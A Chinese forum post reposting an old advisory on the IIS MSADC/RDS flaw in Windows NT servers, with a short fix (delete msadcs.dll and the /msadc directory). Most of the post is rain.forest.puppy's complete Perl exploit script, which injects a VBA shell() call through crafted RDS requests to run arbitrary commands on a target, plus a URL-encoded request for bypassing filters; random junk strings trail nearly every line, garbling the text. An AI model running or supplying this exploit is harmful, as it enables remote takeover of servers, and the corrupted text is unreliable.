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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) )PG6gZYW  
N^HUijw<  
涉及程序: 2 ^mJ+v<  
Microsoft NT server 9o;^[Ql-  
_,xc[ 07  
描述: g!$!F>[  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 KM}f:_J*lg  
qfL~Wp2E;  
详细: Y ;u<GOe  
如果你没有时间读详细内容的话,就删除: 4wID]bKM  
c:\Program Files\Common Files\System\Msadc\msadcs.dll 5mJJU  
有关的安全问题就没有了。 $FlW1E j  
0vEoGgY0*:  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 vy0X_DPCr  
l)Pu2!Ic  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 ?]Pmxp H}  
关于利用ODBC远程漏洞的描述,请参看: CN#+U,NZV  
qUjmB sB  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm {;N,t]>8M  
]l1\? I  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 jGXO\:s O  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp ofPHmh`  
UUzYbuS>&l  
这里不再论述。 =NnNN'}  
i=i(%yQ%  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: v@Gl|29_  
"} q@Y=  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset f|h|q_<;  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! :n0vQ5a  
h\5OrD@L  
ln?v j)j  
#将下面这段保存为txt文件,然后: "perl -x 文件名" ;'5>q&[qbP  
(d(hR0HKE  
#!perl ;pqg/>W'  
# PJ]];MQ  
# MSADC/RDS 'usage' (aka exploit) script 2_n7=&  
# 4SlADvGl  
# by rain.forest.puppy :YXX8|>  
# ,_Z5m;  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me POdUV  
# beta test and find errors! N['qgO/  
&>%T^Y|J4  
use Socket; use Getopt::Std; SnE(o)Q  
getopts("e:vd:h:XR", \%args); @\|_  
1u: gFUb  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; 6^]!gR#B  
A6:es_  
if (!defined $args{h} && !defined $args{R}) { k"NVV$;  
print qq~ DE%KW:Hug  
Usage: msadc.pl -h <host> { -d <delay> -X -v } ~-EOjX(X'E  
-h <host> = host you want to scan (ip or domain) ]z l [H7  
-d <seconds> = delay between calls, default 1 second 9cf:pXMi  
-X = dump Index Server path table, if available @!`Xl*l  
-v = verbose &d"G/6  
-e = external dictionary file for step 5 .WPV dwV4U  
=R#Qx,  
Or a -R will resume a command session pPcTrN'  
H *[_cqnv  
~; exit;} D+>4AqG  
o$w_Es]Ma  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; ~~v3p>zRr  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} ?YZ- P{rTS  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} =at@Vp/y  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); 7( qE0R&@  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} P"W2(d  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } &Q>k7L!  
KVD8YfF  
if (!defined $args{R}){ $ret = &has_msadc; [-\%4  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} ^:#D0[  
D@Vt^_  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" >sK!F$  
. "cmd /c "; f>W -  
$in=<STDIN>; chomp $in; tS|(K=$  
$command="cmd /c " . $in ; fjU8gV  
$lLz 3YS  
if (defined $args{R}) {&load; exit;} 'R c,Mq'  
} \XfH  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; S<4c r  
&try_btcustmr; TMig-y*[  
poToeagZ~Q  
print "\nStep 2: Trying to make our own DSN..."; 5\e9@1Rc  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; w,h`s.AN  
JKGc3j,+#  
print "\nStep 3: Trying known DSNs..."; Vm3v-=6  
&known_dsn; !Cr(P e]  
$4/yZaVb  
print "\nStep 4: Trying known .mdbs..."; MhR:c7,  
&known_mdb; ig/%zA*Bo  
.Yf:[`Q6g  
if (defined $args{e}){ VxVE  
print "\nStep 5: Trying dictionary of DSN names..."; Jh ]i]7r  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } #)C[5?{SNq  
||;hci O  
print "Sorry Charley...maybe next time?\n"; D|Q#gcWpo  
exit; ,6om\9.E@  
{buo^kgj`]  
############################################################################## @}@Z8$G^  
O*0l+mop  
sub sendraw { # ripped and modded from whisker Q aS\(_  
sleep($delay); # it's a DoS on the server! At least on mine... G&4&-<  
my ($pstr)=@_; sOU1n  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || W3 'q\+  
die("Socket problems\n"); P/Q!<I  
if(connect(S,pack "SnA4x8",2,80,$target)){ E;+O($bA  
select(S); $|=1; LN@F+CyDc  
print $pstr; my @in=<S>; |NpP2|4h  
select(STDOUT); close(S);  \4v]7SV  
return @in; yt.F\[1  
} else { die("Can't connect...\n"); }} y~F,0"N\r  
ie2WL\tR4  
############################################################################## _i20|v   
X&7 F_#s  
sub make_header { # make the HTTP request &o,<ijJ:^m  
my $msadc=<<EOT P@9t;dZN  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 jpO7'ivG  
User-Agent: ACTIVEDATA BK,{N0  
Host: $ip =5kY6%E7c  
Content-Length: $clen Mz~M3$$9n  
Connection: Keep-Alive OoA|8!CFa  
"x3lQ  
ADCClientVersion:01.06 )XYv}U   
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 cVv;Jn  
p$PKa.Y3  
--!ADM!ROX!YOUR!WORLD! X)7x<?DAy  
Content-Type: application/x-varg YbTxn="_  
Content-Length: $reqlen H;YP8MoQ  
U$_xUG  
EOT ~ xft  
; $msadc=~s/\n/\r\n/g; Hm%;=`:'  
return $msadc;} rvnT6Ve  
A'jP7 P  
############################################################################## joiL{  
"4uS3h2r  
sub make_req { # make the RDS request C/TF-g-_Y  
my ($switch, $p1, $p2)=@_; e> (<eu~P  
my $req=""; my $t1, $t2, $query, $dsn; TWQG591  
xwJH(_-  
if ($switch==1){ # this is the btcustmr.mdb query  :}@g6   
$query="Select * from Customers where City=" . make_shell(); _Ou WB"  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .  Kfh|  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} :'~ Y  
UN]f"k&  
elsif ($switch==2){ # this is general make table query /.Ww6a~  
$query="create table AZZ (B int, C varchar(10))"; >g+?Oebgw  
$dsn="$p1";} Y#u}tE d  
SVO3821  
elsif ($switch==3){ # this is general exploit table query 8]M_z:F7F  
$query="select * from AZZ where C=" . make_shell(); "a8j"lPJ  
$dsn="$p1";} N6 (  
h-Fn?  
elsif ($switch==4){ # attempt to hork file info from index server >(?9?  
$query="select path from scope()"; p; tVn{u  
$dsn="Provider=MSIDXS;";} mR}6r2O2\Q  
3td)'}  
elsif ($switch==5){ # bad query ]dI2y=[!C  
$query="select"; }^/9G17  
$dsn="$p1";} c@/(B:@  
1oN^HG6O  
$t1= make_unicode($query); ENGg ~D  
$t2= make_unicode($dsn); /+\uqF8F  
$req = "\x02\x00\x03\x00"; dt`{!lts'  
$req.= "\x08\x00" . pack ("S1", length($t1)); V&Xe!S  
$req.= "\x00\x00" . $t1 ; pXJpK@z  
$req.= "\x08\x00" . pack ("S1", length($t2)); n#wI@W >%+  
$req.= "\x00\x00" . $t2 ; W!?7D0q  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; bpKZ3}U  
return $req;} ~~SwCXZ+b^  
>i5acuth  
############################################################################## (&+kl q  
?sMP~RHQ  
sub make_shell { # this makes the shell() statement vfq%H(  
return "'|shell(\"$command\")|'";} HA2k [F@3^  
lJE93rXU  
############################################################################## 59O?_F9  
WIv?}gi: X  
sub make_unicode { # quick little function to convert to unicode \ aHVs  
my ($in)=@_; my $out; U2ZD]q  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } b#K:_ac5  
return $out;} O'W0q;rT  
Y@b.sMg{  
############################################################################## l)!n/x_ !  
m3mp/g.>  
sub rdo_success { # checks for RDO return success (this is kludge) !!`!|w  
my (@in) = @_; my $base=content_start(@in); 't6V:X  
if($in[$base]=~/multipart\/mixed/){ l&?}hq^'Dn  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} [$ejp>'Ud  
return 0;} /4 vG3  
:1iqT)&|8F  
############################################################################## h\PHK C2  
J,AR5@)1  
sub make_dsn { # this makes a DSN for us op6CA"w  
my @drives=("c","d","e","f"); 1. rj'  
print "\nMaking DSN: "; @ ]/AjjLt  
foreach $drive (@drives) { %Mk0QKzUo  
print "$drive: "; Zxbo^W[[  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . #1c_evH  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" Vv8jEZ8  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); V( -mD  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; *{y K 8  
return 0 if $2 eq "404"; # not found/doesn't exist ho0@ l  
if($2 eq "200") { ^d~1E Er  
foreach $line (@results) { hED=u/ql[  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} <j5NFJ9  
} return 0;} Oh'Y0_oB>  
`~ * @q!  
############################################################################## R0L&*Bjm  
av$/Om :  
sub verify_exists { ;~\MZYs3m  
my ($page)=@_; [&nh5 |f  
my @results=sendraw("GET $page HTTP/1.0\n\n"); ~d6DD;`K  
return $results[0];} "Q?k'^@  
3Ei5pX=g  
############################################################################## 'ul~7h;n  
Ygl%eP%Z  
sub try_btcustmr { I;Bjfv5  
my @drives=("c","d","e","f"); UGuxV+Nwf  
my @dirs=("winnt","winnt35","winnt351","win","windows"); x >^Si/t  
JM\m)RH0  
foreach $dir (@dirs) { r%.do;5  
print "$dir -> "; # fun status so you can see progress sRrzp=D  
foreach $drive (@drives) { |"9 #bU  
print "$drive: "; # ditto i}o[- S4  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; !ykx^z  
$reqlenlen=length( "$reqlen" ); 9$|Gfyv  
$clen= 206 + $reqlenlen + $reqlen; vsr[ur[eP  
cg*)0U-_(  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); a(v>Q*zNP  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} /Ne<V2AX  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} W@Lu;g.Yc  
?HV`| Cw  
############################################################################## !V,{_(LT  
{FG|\nPw  
sub odbc_error { EoxQ */  
my (@in)=@_; my $base; a\:VREKj,  
my $base = content_start(@in); kJ-*fe'S  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this 8krpowVs~  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; cPU/t kc  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; rn=m\Gv e  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; sSQs#+ &=[  
return $in[$base+4].$in[$base+5].$in[$base+6];} r,Nq7Txn?  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; A%{W{UP8N  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . LJ(1RK GCz  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} A^2Uzmzl?  
mK [0L  
############################################################################## 0#YX=vjX7  
_Jt 2YZdA  
sub verbose { hwI Mn33  
my ($in)=@_; j~e;DO  
return if !$verbose; OKvPL=~  
print STDOUT "\n$in\n";} S:x?6IDPC^  
DANw1 _X\  
############################################################################## )h8\u_U  
QtJg ^2@  
sub save { y T#{UA^  
my ($p1, $p2, $p3, $p4)=@_; 9gEssTkts  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; }Iz7l{al   
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; _+^ 2^TW  
close OUT;} `/MvQ/  
=l0Jb#d  
############################################################################## DVkB$2]  
v^_mFp-}\  
sub load { {|yob4N  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; ryc& n5  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); "n=vN<8(o  
@p=<IN>; close(IN); V2<?ol  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); \#>T~.Y7K  
$target= inet_aton($ip) || die("inet_aton problems"); /g$G_}  
print "Resuming to $ip ..."; W":PG68  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; `St.+6^J  
if($p[1]==1) { C{q:_M;  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; v,\R, {0  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; D^-7JbE]  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); Kmdlf,[3d  
if (rdo_success(@results)){print "Success!\n";} RJON90,J  
else { print "failed\n"; verbose(odbc_error(@results));}} Qo1eXMW  
elsif ($p[1]==3){ vYU;_R  
if(run_query("$p[3]")){ hAjM1UQ,Y  
print "Success!\n";} else { print "failed\n"; }} d)"?mD:m/M  
elsif ($p[1]==4){ bC3 F  
if(run_query($drvst . "$p[3]")){ 4ON_$FUe  
print "Success!\n"; } else { print "failed\n"; }} _%x4ty  
exit;} ]Y| 9?9d  
s#S%#LM  
############################################################################## >Z;jY*  
*\o/q[  
sub create_table { \^V`ds*.  
my ($in)=@_; !2|=PB' M  
$reqlen=length( make_req(2,$in,"") ) - 28; [M%9_CfZOy  
$reqlenlen=length( "$reqlen" ); |P.6<  
$clen= 206 + $reqlenlen + $reqlen; .<K iMh  
my @results=sendraw(make_header() . make_req(2,$in,"")); 3tmdi3s  
return 1 if rdo_success(@results); q;:6_Qr  
my $temp= odbc_error(@results); verbose($temp); B: \Uw|Mf  
return 1 if $temp=~/Table 'AZZ' already exists/; $ A9%UhV  
return 0;} f(eQ+0D  
nWvuaQ0}  
############################################################################## V&|!RxWK  
IB`>'~s&A  
sub known_dsn { "aFhkPdWn  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go QERU5|.wc  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", F>X-w+b4r  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", 5&f{1M6l>  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); P/ oXDI8  
tWdhDt8$&  
foreach $dSn (@dsns) { cf7v[ZZ}  
print "."; w?,M}=vg  
next if (!is_access("DSN=$dSn")); KnNh9^4"\2  
if(create_table("DSN=$dSn")){ }rdIUlVO\  
print "$dSn successful\n"; 4A3nO<o MF  
if(run_query("DSN=$dSn")){ }I!hOD>]O  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {  P N*JR  
print "Something's borked. Use verbose next time\n";}}} print "\n";} }BmS )J q  
q,2]5 '  
############################################################################## t nS+5F  
_7D_72  
sub is_access { 4TwQO$C  
my ($in)=@_; 2nFy`|aA%  
$reqlen=length( make_req(5,$in,"") ) - 28; Y= 7%+WyD  
$reqlenlen=length( "$reqlen" ); G8IY#  
$clen= 206 + $reqlenlen + $reqlen; T'fcc6D5p  
my @results=sendraw(make_header() . make_req(5,$in,"")); oQ7]= |  
my $temp= odbc_error(@results); zLD|/`  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); /V?H4z[G  
return 0;} {gKN d*[*  
]}UgS+g>$  
############################################################################## =ORf%f5"'  
"|m|E/Z-9  
sub run_query { lZQ /W:OE  
my ($in)=@_; $oLU; q%  
$reqlen=length( make_req(3,$in,"") ) - 28; pU!o7>p  
$reqlenlen=length( "$reqlen" ); 3[XQR8o  
$clen= 206 + $reqlenlen + $reqlen; h)v^q: ='  
my @results=sendraw(make_header() . make_req(3,$in,"")); Oc&),ru2l  
return 1 if rdo_success(@results); %Z8vdU#l  
my $temp= odbc_error(@results); verbose($temp); M]-VHI[&W  
return 0;} K{l5m{:%  
 j4R 4H;  
############################################################################## L}j0a>=x4  
\NqEw@91B  
sub known_mdb { s(_+!d6  
my @drives=("c","d","e","f","g"); cW``M.d'F  
my @dirs=("winnt","winnt35","winnt351","win","windows"); w#^U45y1v  
my $dir, $drive, $mdb; 3g~^LZ66  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; $iM=4 3W  
QI_59f>  
# this is sparse, because I don't know of many ]/T -t1D  
my @sysmdbs=( "\\catroot\\icatalog.mdb", XW L^  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", h~7,`fo  
"\\system32\\certmdb.mdb", htPqT,L  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% ,5|d3dJS  
#' hLb  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", F8+e,x  
"\\cfusion\\cfapps\\forums\\forums_.mdb", s^T+5 E&}  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", jvzBh-!  
"\\cfusion\\cfapps\\security\\realm_.mdb", A7P`lJgv  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", /dDzZ%/@  
"\\cfusion\\database\\cfexamples.mdb", E-1"+p  
"\\cfusion\\database\\cfsnippets.mdb", A.Bk/N1G  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", IwpbfZ  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", -iCcoA  
"\\cfusion\\brighttiger\\database\\cleam.mdb", RH~3M0'0  
"\\cfusion\\database\\smpolicy.mdb", r?l;I3~  
"\\cfusion\\database\cypress.mdb", ,kgF2K!  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", )uP[!LV[e  
"\\website\\cgi-win\\dbsample.mdb", =w<v3wWN4  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", 1'G8o=~  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" %q_Miu@  
); #these are just 50a\e  
foreach $drive (@drives) { 7?)/>lx\>$  
foreach $dir (@dirs){ 0W>9'Rw  
foreach $mdb (@sysmdbs) { MjaUdfx  
print "."; D*vm cSf  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ |)W!jC&k  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; Ak~4|w-  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ ;T ZGC).6  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; tL0`Rvl  
} else { print "Something's borked. Use verbose next time\n"; }}}}} ["3df>!f  
@<_`2eW'/R  
foreach $drive (@drives) { =z:U~D  
foreach $mdb (@mdbs) { P ,K\  
print "."; NE"jh_m-  
if(create_table($drv . $drive . $dir . $mdb)){ AH.9A_dG  
print "\n" . $drive . $dir . $mdb . " successful\n"; /f1'm@8;  
if(run_query($drv . $drive . $dir . $mdb)){ *rqm8z50a  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; GLKO]y  
} else { print "Something's borked. Use verbose next time\n"; }}}} 2r ];V'r  
} zL s^,x  
!;>(i e\  
############################################################################## {aN(d3c  
Fu8 7fVi/\  
sub hork_idx { }gsO&g"8  
print "\nAttempting to dump Index Server tables...\n"; C4$/?,K(  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; ]2+g&ox4'  
$reqlen=length( make_req(4,"","") ) - 28; fo\\o4Qyh  
$reqlenlen=length( "$reqlen" ); r3I,11B  
$clen= 206 + $reqlenlen + $reqlen; s0{ NsK>  
my @results=sendraw2(make_header() . make_req(4,"","")); !W1eUY  
if (rdo_success(@results)){ GH'O! }  
my $max=@results; my $c; my %d; JZ`L%  
for($c=19; $c<$max; $c++){ N_C_O$j  
$results[$c]=~s/\x00//g; xKp0r1}  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; |0{ i9 .=  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; n_$yV:MuT!  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; 6CNS%\A  
$d{"$1$2"}="";} 0^]t"z5f0  
foreach $c (keys %d){ print "$c\n"; } w1B<0'#  
} else {print "Index server doesn't seem to be installed.\n"; }} LCQkgRs}~{  
'o\;x"YJ  
############################################################################## ;mO,3dV  
L(WOet('  
sub dsn_dict { Goj4`Hc  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); j$eCe< .3  
while(<IN>){ |*Ot/TvG  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; 7dD.G/'  
next if (!is_access("DSN=$dSn")); kqB\xlS7k  
if(create_table("DSN=$dSn")){ Ku3!*n_\  
print "$dSn successful\n"; Kj*m r%IaU  
if(run_query("DSN=$dSn")){ p[YWSjf  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { wL<j:>Ke[3  
print "Something's borked. Use verbose next time\n";}}} =aow d4 t  
print "\n"; close(IN);} Um ;kd&#x  
Mr6E/7g%  
############################################################################## C<he4n.  
\; bW h  
sub sendraw2 { # ripped and modded from whisker dE>v\0 3!8  
sleep($delay); # it's a DoS on the server! At least on mine... 3kLOoL?  
my ($pstr)=@_; - s|t^  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || }(=ml7)v  
die("Socket problems\n"); I=YCQ VvA  
if(connect(S,pack "SnA4x8",2,80,$target)){ /{N))  
print "Connected. Getting data"; MOV =n75  
open(OUT,">raw.out"); my @in; >.Q0 Tx!P  
select(S); $|=1; print $pstr; ?~qC,N[  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} rh$1-Y  
close(OUT); select(STDOUT); close(S); return @in; \o9@>&2  
} else { die("Can't connect...\n"); }} 6H;kJHn  
$T*KaX\{B  
############################################################################## E:Y:X~vy  
Lr M}?9'  
sub content_start { # this will take in the server headers Y}/jR6hK  
my (@in)=@_; my $c; q[boWW  
for ($c=1;$c<500;$c++) { ZA.fa0n  
if($in[$c] =~/^\x0d\x0a/){ aBCOGtf  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } q<}PM  
else { return $c+1; }}} Kcn\g.  
return -1;} # it should never get here actually 0=m&^Jpp  
mcMb*?]  
############################################################################## T` ;k!F46  
 3Vu8F"  
sub funky { JfKg_&hM  
my (@in)=@_; my $error=odbc_error(@in); 9`&77+|;e  
if($error=~/ADO could not find the specified provider/){ t/Z!O z6ZE  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; &V;x 4  
exit;} sUda   
if($error=~/A Handler is required/){ xL&PJ /'  
print "\nServer has custom handler filters (they most likely are patched)\n"; 6 ZHv,e`?  
exit;} pU[K%@sC  
if($error=~/specified Handler has denied Access/){ c+;S<g 0  
print "\nServer has custom handler filters (they most likely are patched)\n"; jmPp-} tS7  
exit;}} 4H7Oh*P\j  
IuWX*b`v  
############################################################################## LO>8 j:  
!>|`ly$6  
sub has_msadc { 14u^[M" U  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); iJ*%dio  
my $base=content_start(@results); ./!KE"!  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); ^=#!D[xj>  
return 0;} q/J3cXa{K  
8AX3C s_G  
######################## g!5#,kJM  
0sabh`iQ^  
#]5)]LF1q  
解决方案: S W-0h4  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll 1?]J;9p  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 HqDa2q4  
Q5T(nEA  
拿出来充数 哈哈
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